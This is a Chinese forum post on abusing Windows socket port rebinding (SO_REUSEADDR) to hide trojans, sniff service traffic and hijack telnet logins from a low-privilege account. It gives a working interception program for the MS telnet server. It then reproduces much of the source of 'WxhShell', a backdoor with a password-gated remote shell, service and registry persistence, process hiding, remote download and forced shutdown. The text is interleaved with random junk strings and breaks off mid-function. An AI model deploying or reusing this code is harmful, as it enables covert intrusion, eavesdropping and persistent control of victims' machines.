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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [q!]Ds" _  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -~8PI2  
*w*K&$g  
  saddr.sin_family = AF_INET; , p}:?uR  
W+Mw:,>*s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xS12$ib ~G  
/}E2Rr?{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %<DdX*Qp  
}FS_"0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 D8,8j;  
V;SV0~&  
  这意味着什么?意味着可以进行如下的攻击: [XI:Yf  
bi+M28m  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 aQL0Sj:,  
:$K=LV#Iru  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lq_UCCnv5  
C=o-3w  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,i}EGW,9q  
M| Gl&   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )-[$m%  
WZ6{9/%:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SS%Bde&<{  
[Lje?M* r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L:Rg3eo  
kJuG haO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T.I'c6|  
r-$xLe7a  
  #include q>'#;QA  
  #include D6@ c|O{Q  
  #include pJ8F+`*  
  #include    v]on0Pi!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .-HM{6J  
  int main() };rp25i  
  { _ s}aF  
  WORD wVersionRequested; NbU4|O i  
  DWORD ret; )=}qAVO8  
  WSADATA wsaData; &aIFtlC  
  BOOL val; } G{"Mp4  
  SOCKADDR_IN saddr; Rq+7&%dy  
  SOCKADDR_IN scaddr; BV@q@C  
  int err; W*S4gPGM  
  SOCKET s; 5TpvJ1G  
  SOCKET sc; ,^e2ma|z  
  int caddsize; b(|&e  
  HANDLE mt; :F"IOPfU5[  
  DWORD tid;   <& PU%^Ha  
  wVersionRequested = MAKEWORD( 2, 2 ); sS{Co8EJn  
  err = WSAStartup( wVersionRequested, &wsaData ); ^ wZx=kas  
  if ( err != 0 ) {  tM\BO0  
  printf("error!WSAStartup failed!\n"); =PA?6Bm  
  return -1; t|oIzjKE/  
  } jG&HPVr  
  saddr.sin_family = AF_INET; !l#aq\:}~e  
   i?pd|J  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Dom]w.W5  
,\ 1X\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KNN{2thy `  
  saddr.sin_port = htons(23); I$sXbM;z=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hfIP   
  { D`G;C  
  printf("error!socket failed!\n"); :I&y@@UG  
  return -1; _XP}f x7$C  
  } mYo~RXKGF  
  val = TRUE; L9e<hRZ$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3HuocwWbz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *ezMS   
  { u8JH~b  
  printf("error!setsockopt failed!\n"); _y6iR&&x  
  return -1; Ump Hae  
  } \41/84BA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .9ZK@xM&?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'vt Jl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ygja{W.  
RTd,bi*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  d<xi/  
  { ;k@]"&t  
  ret=GetLastError(); ^bPpcm=  
  printf("error!bind failed!\n"); 2jhJXM=~  
  return -1; NGi)Lh|  
  } +UOVD:G  
  listen(s,2); 4Dzg r,V  
  while(1)  1hi  
  { ]m`:T  
  caddsize = sizeof(scaddr); '")'h  
  //接受连接请求 `"ks0@^U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %k?/pRv$>  
  if(sc!=INVALID_SOCKET) AfO.D ?4x  
  { T.z efoZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NL|c5y<r  
  if(mt==NULL) 7P2(q  
  { p9G+la~;VM  
  printf("Thread Creat Failed!\n"); Zp[>[1@+  
  break; Ii}{{1N6  
  } WPr:d  
  } F(/<ADx  
  CloseHandle(mt); ul_E{v  
  } (p#c p  
  closesocket(s); &Hf%Va[B  
  WSACleanup(); ddl]! ^IK  
  return 0; CIo`;jt K  
  }   Kp7)my  
  DWORD WINAPI ClientThread(LPVOID lpParam) X4\T=Q?uLx  
  { !!ZGNZ_  
  SOCKET ss = (SOCKET)lpParam; v]@ XyF\j8  
  SOCKET sc; oVP,a r0G  
  unsigned char buf[4096]; T[e+iv<8j  
  SOCKADDR_IN saddr; sF :pwI5^  
  long num; v~AshmP  
  DWORD val; k t!@}QP  
  DWORD ret; k9H}nP$F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rIB./,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $;=^|I4E  
  saddr.sin_family = AF_INET; ktfxb <%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J3oUtu  
  saddr.sin_port = htons(23); n4{?Odrf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4IOqSB|  
  { CTg79 ITYk  
  printf("error!socket failed!\n"); l{3zlXk3z  
  return -1;  y"Fu=  
  } -0;{  
  val = 100; !Y|xu07  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hJ%$Te  
  { "* FjEA6=  
  ret = GetLastError(); lz>.mXdx  
  return -1; .1^ Kk3  
  } $_'<kH-eP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ncUhCp?'  
  { so.}WU  
  ret = GetLastError(); #%$@[4 "V  
  return -1; YVF@v-v-,  
  } $ SA @ "  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f$}g'r zl  
  { :rufnmsP<U  
  printf("error!socket connect failed!\n"); 0wqw5KC  
  closesocket(sc); YsCY~e&  
  closesocket(ss); daA&!vnbH*  
  return -1; +6+1N)L  
  } Kn1u1@&Xd  
  while(1) Z{%W!>0  
  { kda*rl~c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u#u/uS"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =7kn1G.(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .& bc3cW  
  num = recv(ss,buf,4096,0); ]o'dr r  
  if(num>0) G]xN#O;  
  send(sc,buf,num,0); p[|V7K'Z  
  else if(num==0) >#S}J LZ  
  break; Cv>~%<   
  num = recv(sc,buf,4096,0); h0 %M+g  
  if(num>0) D=D.s)ns*  
  send(ss,buf,num,0); }YC=q  
  else if(num==0) w0yzC0yBk  
  break; `;R$Ji=>  
  } I%[Tosud<  
  closesocket(ss); w0=/V[fs  
  closesocket(sc); \zA3H$Df~  
  return 0 ; Fm&f  
  } '>bn94$  
=*-a c  
GM^H )8U  
========================================================== r da: ~  
.;bU["fn)  
下边附上一个代码,,WXhSHELL b/T k$&  
pXQ$n:e  
========================================================== S:g6z'e1  
L1k  
#include "stdafx.h" ) .V,zmI  
X?r$o>db  
#include <stdio.h> 3S>rc0]6  
#include <string.h> qgWsf-di=  
#include <windows.h> $LU|wW  
#include <winsock2.h> rnMi >?  
#include <winsvc.h> n sN n>{  
#include <urlmon.h> !q/Q2N(  
-~~R?,H'Z_  
#pragma comment (lib, "Ws2_32.lib") h^WMv *2  
#pragma comment (lib, "urlmon.lib") ]w-W  
PK{FQ3b2{  
#define MAX_USER   100 // 最大客户端连接数 )P+<=8@a  
#define BUF_SOCK   200 // sock buffer #MMp0  
#define KEY_BUFF   255 // 输入 buffer R5},E  
O#8lJ%?  
#define REBOOT     0   // 重启 CAA 3-"Cwi  
#define SHUTDOWN   1   // 关机 Y!(w.G  
7oL:C  
#define DEF_PORT   5000 // 监听端口 %6V=G5+W  
,(hP /<  
#define REG_LEN     16   // 注册表键长度 b9b`%9/L  
#define SVC_LEN     80   // NT服务名长度 HyQ(9cn |  
>*l2]3' `  
// 从dll定义API 7Y 4D9pw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V+|$H h8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]P^ 3uXi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pZc`!f"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PCBV6Y7r  
- ikq#L){  
// wxhshell配置信息 :de4Fje/4y  
struct WSCFG { WdJeh:h  
  int ws_port;         // 监听端口 ?WS.RBe2  
  char ws_passstr[REG_LEN]; // 口令 0!axAvBV  
  int ws_autoins;       // 安装标记, 1=yes 0=no n:<Xp[;R  
  char ws_regname[REG_LEN]; // 注册表键名 $['`H)z  
  char ws_svcname[REG_LEN]; // 服务名 QS,_=< (  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \D%n8O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &MrG ,/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PUd/|Rc/}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u VUrg;>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0o.h{BN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xTZJ5iZ17  
3)^ 2X  
}; zJ8jJFL+Y  
8l?@ o  
// default Wxhshell configuration PIsXX#`7;  
struct WSCFG wscfg={DEF_PORT, Cq\{\!6[  
    "xuhuanlingzhe", VdL }$CX$  
    1, 6 iH]N*]S^  
    "Wxhshell", etb#/L  
    "Wxhshell", W,t`DMC  
            "WxhShell Service", yS#D$q2_  
    "Wrsky Windows CmdShell Service", vL;=qk TCQ  
    "Please Input Your Password: ", z3fU|*_c  
  1, ?U*sH2F  
  "http://www.wrsky.com/wxhshell.exe", ufA0H J)Yg  
  "Wxhshell.exe" Yka>r9wr  
    }; i Nn?G C>  
aMgg[g9>t  
// 消息定义模块 eQ#"-i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LXc;`]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R~d Wblv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EiA_9%<  
char *msg_ws_ext="\n\rExit."; ar`}+2Qh0  
char *msg_ws_end="\n\rQuit."; 'HWPuWW  
char *msg_ws_boot="\n\rReboot..."; 0+rBGk  
char *msg_ws_poff="\n\rShutdown..."; l2LO,j}  
char *msg_ws_down="\n\rSave to "; 7'{Y7]+z+  
`|[UF^9  
char *msg_ws_err="\n\rErr!"; HN&]`cr;  
char *msg_ws_ok="\n\rOK!"; m O0#xY_z  
$A:?o?"7}  
char ExeFile[MAX_PATH]; Vgj[m4l  
int nUser = 0; 1!ijRr  
HANDLE handles[MAX_USER]; aU] nh. a  
int OsIsNt; c 8|&Q  
AeW_W0j  
SERVICE_STATUS       serviceStatus; D rouEm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yyjgPbLN=  
<$ nMqUu0  
// 函数声明 Wb{8WPS  
int Install(void); **n109R  
int Uninstall(void); 1lv. @-  
int DownloadFile(char *sURL, SOCKET wsh); lIatM@gU  
int Boot(int flag); 8{Wh4~|+  
void HideProc(void); niCq`!  
int GetOsVer(void); `9G1Bd8k  
int Wxhshell(SOCKET wsl); 4}^\&K&t{  
void TalkWithClient(void *cs); 0t00X/  
int CmdShell(SOCKET sock); .YIb ny1  
int StartFromService(void); qd [Z\B  
int StartWxhshell(LPSTR lpCmdLine); UO>S2u  
RJOyPZ]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P76QHBbl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k8ymOx  
VZU@G)rd  
// 数据结构和表定义 m\|ie8  
SERVICE_TABLE_ENTRY DispatchTable[] = RLF]Wa,  
{ I9 jzR~T  
{wscfg.ws_svcname, NTServiceMain}, $K~ t'wr  
{NULL, NULL} u|&a!tOf2  
}; !2=eau^p  
Ni61o?]Nj  
// 自我安装 mk?F+gh  
int Install(void) E njSio0  
{ gG46hO-M%x  
  char svExeFile[MAX_PATH]; fh}j)*K8  
  HKEY key; |uln<nM9  
  strcpy(svExeFile,ExeFile); izP>w*/nO  
-Wl79lE  
// 如果是win9x系统,修改注册表设为自启动 H?'t>JX  
if(!OsIsNt) { U\tujK1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )u5+<OG}=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d-$/C| J  
  RegCloseKey(key); ->U9u lTC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P:HmT   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dmE.yVI"O  
  RegCloseKey(key); >z69r0)>  
  return 0; cpBTi  
    } 5!d'RBO   
  } O8w|!$Q.  
} G9a6 $K)b  
else { B3&`/{u  
8|\?imOp\[  
// 如果是NT以上系统,安装为系统服务 5 ]@"f/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H5p&dNO  
if (schSCManager!=0) lhx]r}@'MC  
{ >[gNQJ6  
  SC_HANDLE schService = CreateService sJ)Pj?"\?  
  ( g E;o_~  
  schSCManager, Q.L.B7'e7  
  wscfg.ws_svcname, I>3]VR i  
  wscfg.ws_svcdisp, p EbyQ[  
  SERVICE_ALL_ACCESS, /%T d(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .t|B6n!  
  SERVICE_AUTO_START, =!|= Y@  
  SERVICE_ERROR_NORMAL, *z\L  
  svExeFile, c7(Lk"G8  
  NULL, \TXCq@  
  NULL, #R3|nL  
  NULL, 5Qgh\4  
  NULL, ~i/K7qZ  
  NULL .Zv uhOn^  
  ); 0:4w@"Q  
  if (schService!=0) qFYM2  
  { H~r":A'"*  
  CloseServiceHandle(schService); Lkl ^ `  
  CloseServiceHandle(schSCManager); $23dcC*hI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'nh^'i&0.  
  strcat(svExeFile,wscfg.ws_svcname); :Z5Twb3h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^N:bT;;$nZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q`^ T7  
  RegCloseKey(key); E >lW'  
  return 0; k'JfXrW<!  
    } n|f Huv  
  } +yo1&b R/  
  CloseServiceHandle(schSCManager); =F"vL  
} $fl+l5?9  
}  a EmLf  
_mn2bc9M  
return 1; ORP-@-dap  
} V`XtGTx  
+LsACSB  
// 自我卸载 w [7vxQ!-  
int Uninstall(void) {pyTiz#JY  
{ &x<y4ORH|  
  HKEY key; &F#K=R| .j  
%T'<vw0  
if(!OsIsNt) { 6E@qZvQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &a bR}J[  
  RegDeleteValue(key,wscfg.ws_regname); 79O'S du@  
  RegCloseKey(key); VgyY7INx9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _Kf8,|+  
  RegDeleteValue(key,wscfg.ws_regname); v)J(@>CZ[  
  RegCloseKey(key); V+&C_PyC  
  return 0; ~V6wcXd  
  } |QB[f*y5  
} !U8n=A#,-  
} %uy5la  
else { 24Uvi:B?~  
6#DDMP8;I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X{G&r$  
if (schSCManager!=0) 2\J-7o=P  
{ $|%BaEyk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r>ca17  
  if (schService!=0) #cy;((zuB  
  { NANgV~Y&  
  if(DeleteService(schService)!=0) { k~=_]sLn  
  CloseServiceHandle(schService); *'jI>^o  
  CloseServiceHandle(schSCManager); 5VR=D\j  
  return 0; qz6@'1  
  } ;fGh]i  
  CloseServiceHandle(schService); {f:%+h  
  } WYXh1_nyk  
  CloseServiceHandle(schSCManager); pW4$$2S?9  
} / U5!]7&gB  
} RJk42;]  
nBJ'ak   
return 1; Uon^z?0A  
} hWD%_"yhd  
7/b\NLeJ'  
// 从指定url下载文件 f )Ef-o  
int DownloadFile(char *sURL, SOCKET wsh) 5Sv;a(}  
{ ur K~]68  
  HRESULT hr; vA&MJD{  
char seps[]= "/"; Jwt_d }ns  
char *token; j9^V)\6)  
char *file; N83c+vs%c  
char myURL[MAX_PATH]; ;G|#i? JJ  
char myFILE[MAX_PATH]; yeqH eZ  
! n13B  
strcpy(myURL,sURL); 5~GH*!h%;  
  token=strtok(myURL,seps); ,zVS}!jRhy  
  while(token!=NULL) ]m<z  
  { >&%#`PKT  
    file=token; VtnVl`/]  
  token=strtok(NULL,seps); Bx 9v2x.  
  } d.Ep#4  
GLWEoV9<  
GetCurrentDirectory(MAX_PATH,myFILE); $@^*lUw  
strcat(myFILE, "\\"); v1}9i3Or#  
strcat(myFILE, file); ~6Pv5DKq  
  send(wsh,myFILE,strlen(myFILE),0); 8$`$24Wx  
send(wsh,"...",3,0); ^n~bx *f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1'4?}0Dok  
  if(hr==S_OK) +LwwI*;b  
return 0; _{&bmE  
else =}UcYC6l  
return 1; =k^ d5  
7 tQ?av  
} 8@A}.:  
c$^~7.~{Qy  
// 系统电源模块 '|J~2rbyr  
int Boot(int flag) /^hc8X  
{ Aa4 DJ  
  HANDLE hToken; r&3EM[*Iw  
  TOKEN_PRIVILEGES tkp; %fMFcL#h  
R1vuf*A5,  
  if(OsIsNt) { *%CDQx0}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &t:~e" 5<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g1v=a  
    tkp.PrivilegeCount = 1; $|m'~AmI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u5N&Wn{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pc2;2^U_  
if(flag==REBOOT) { -BcnJK0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {R8)DK  
  return 0; sZPyEIXie  
} I/* ULR,  
else { *BHp?cn;F2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~yiw{:\  
  return 0; _lrvK99  
} crQ_@@X?<  
  } {5 Sy=Y  
  else { fUq:`#Q  
if(flag==REBOOT) { J_7#UjGA,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /tj_WO_  
  return 0; bXi(]5  
} suHi sc*  
else { @Nn'G{8OG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %>- ?oor  
  return 0; =z zmz7op  
} `Z^\<{z  
} [JYy  
P&IS$FC.\  
return 1; :!yPR  
} ~s*kuj'%+  
&} r-C97  
// win9x进程隐藏模块 qs {wrem  
void HideProc(void) d <RJH  
{ w@WPp0mny  
Fv<3VKueK[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _N:GZLG  
  if ( hKernel != NULL ) UM2yv6:/  
  { <w3_EO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !v. <H]s)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lYT_Y.%I  
    FreeLibrary(hKernel); MY'T%_i d  
  } x Nb7VUV7  
uCoy~kt292  
return; A|YiSwyy  
} I]a [Ngj  
f7/M_sx  
// 获取操作系统版本 OlP1Zd/l  
int GetOsVer(void) q $PO. #  
{ -"rANP-UI  
  OSVERSIONINFO winfo; ^hcK&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '^`iF,rg  
  GetVersionEx(&winfo); wZVLpF+7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XT?wCb41R  
  return 1; Clb7=@f  
  else Nq1YFI>W  
  return 0; ,P%i%YPj  
} hP}-yW6]  
5zOC zm  
// 客户端句柄模块 3_8W5J3I  
int Wxhshell(SOCKET wsl) Qb|@DMq%  
{ .bUj  
  SOCKET wsh; YJ|U| [  
  struct sockaddr_in client; 3&6sQ-}*  
  DWORD myID; "}vxHN#  
4~1lP&  
  while(nUser<MAX_USER) 6^lix9q7  
{ 0?cJ>)N  
  int nSize=sizeof(client); ~OWpk)Vq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (8~D ^N6Z  
  if(wsh==INVALID_SOCKET) return 1; a"l\_D'.K8  
yKy )%i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k"|Fu   
if(handles[nUser]==0) 7AlL,&+  
  closesocket(wsh); qh+&Zx~  
else EQ.K+d*K][  
  nUser++; P *&Cght>0  
  } l6zYiM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1Tr%lO5?6  
=RAojoN  
  return 0; ^B1$|C D,  
} >pp#>{}  
@,9YF }  
// 关闭 socket Z/T( 4  
void CloseIt(SOCKET wsh) tSe[*V4{'  
{ XRHngW_A  
closesocket(wsh); uPxJwWXO  
nUser--; `{m,&[ n  
ExitThread(0);  !# zO%  
} ~~=]_lwyK%  
eV~"T2!Sb  
// 客户端请求句柄 %C rTO(  
void TalkWithClient(void *cs) e]5NA?2j  
{ IJVzF1vC  
[] el4.J,  
  SOCKET wsh=(SOCKET)cs; lF t^dl^  
  char pwd[SVC_LEN]; ?C- ju8]|  
  char cmd[KEY_BUFF]; U1(cBY  
char chr[1]; v!$:t<-5N  
int i,j; mT #A?C2  
o+.ySSBl+  
  while (nUser < MAX_USER) { `F]  
pXvys] @  
if(wscfg.ws_passstr) { nSRNd A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |o+*Iy)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b 0qA  
  //ZeroMemory(pwd,KEY_BUFF); [H{@<*  
      i=0; mZM,"Wq,  
  while(i<SVC_LEN) { CI-1>= "OE  
ahQY-%>  
  // 设置超时 )%PMDG|  
  fd_set FdRead; {pA&Q{ ^  
  struct timeval TimeOut; mi.,Z`]o  
  FD_ZERO(&FdRead); kBxEp/y  
  FD_SET(wsh,&FdRead); W 1u!&:O  
  TimeOut.tv_sec=8; v*&j A 8D  
  TimeOut.tv_usec=0; w!z* ?k=Da  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X%iJPJLza  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K7@|2;e  
=XK}eQ_d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); | KY-kRN7  
  pwd=chr[0]; <LzxnTx=  
  if(chr[0]==0xd || chr[0]==0xa) { V%z?wDC  
  pwd=0; K|l}+:k  
  break; *[m:4\  
  } y/:%S2za>  
  i++; d!4TwpIgx  
    } G&@d J &B  
QBGjH^kL  
  // 如果是非法用户,关闭 socket I~^Xw7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !XM<`H/  
} uE<8L(*B  
\<\H1;=.@'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <*WGvCh%w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3fA+{Y8S  
X6T[+]Gc  
while(1) { TZ `Ypi7r  
1up p E|  
  ZeroMemory(cmd,KEY_BUFF); i]J.WFu  
_RbM'_y+E  
      // 自动支持客户端 telnet标准   >{9VXSc  
  j=0; !tcz_%  
  while(j<KEY_BUFF) { k5J18S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dpK -  
  cmd[j]=chr[0]; G.^)5!By  
  if(chr[0]==0xa || chr[0]==0xd) { QqRF?%7q"q  
  cmd[j]=0; '2hy%  
  break; 2g~ @99`  
  } : p)R,('g  
  j++; ij! ],  
    } DA04llX~  
5!cp^[rGL  
  // 下载文件 -FI)o`AE  
  if(strstr(cmd,"http://")) { lC`w}0 p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4<Nd5T  
  if(DownloadFile(cmd,wsh)) :WX OD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u|T]Ne  
  else *v]s&$WyO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NL>Trv5  
  } ^)I}#  
  else { G;iH.rCH  
TET=>6  
    switch(cmd[0]) { W$2 \GPJt  
  2K{'F1"RM  
  // 帮助 _x1W\#  
  case '?': { /CMgWGI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 09 trFj$L  
    break;  @;$cX2  
  } :CK`v6 Qs  
  // 安装 D B65vM  
  case 'i': { ,|3_@tUl  
    if(Install()) ?o$ t{AQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WJu(,zM?G  
    else >j3':>\U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7}y@VO6]  
    break; 6wj o:I  
    } u$C\#y7  
  // 卸载 d(TN(6g@  
  case 'r': { B@NBN&Fr  
    if(Uninstall())  }( CYok  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HfgTc h  
    else &VA^LS@b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ot[ZFF\  
    break; AIY 1sSK  
    } c*.  
  // 显示 wxhshell 所在路径 *4NY"EwjN  
  case 'p': { gzn:]Y^  
    char svExeFile[MAX_PATH]; n|6G\99l+M  
    strcpy(svExeFile,"\n\r"); Du65>O  
      strcat(svExeFile,ExeFile); 8h }a:/  
        send(wsh,svExeFile,strlen(svExeFile),0); q g=`=]j  
    break; {? Y \T  
    } r5ldK?=k+*  
  // 重启 [DDe}D3C  
  case 'b': { Y0krFhL'x0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9jY+0h*uP  
    if(Boot(REBOOT)) +])<}S!M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A&p@iE*/  
    else { [5!}+8]W  
    closesocket(wsh); KXDnhV f  
    ExitThread(0); wpt$bqs|1  
    } nW"O+s3  
    break; VevG 64o  
    } K-)!d$$   
  // 关机 gd]S;<Jh  
  case 'd': { HcJ!(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o$l8"Uv  
    if(Boot(SHUTDOWN)) =0] K(p,  
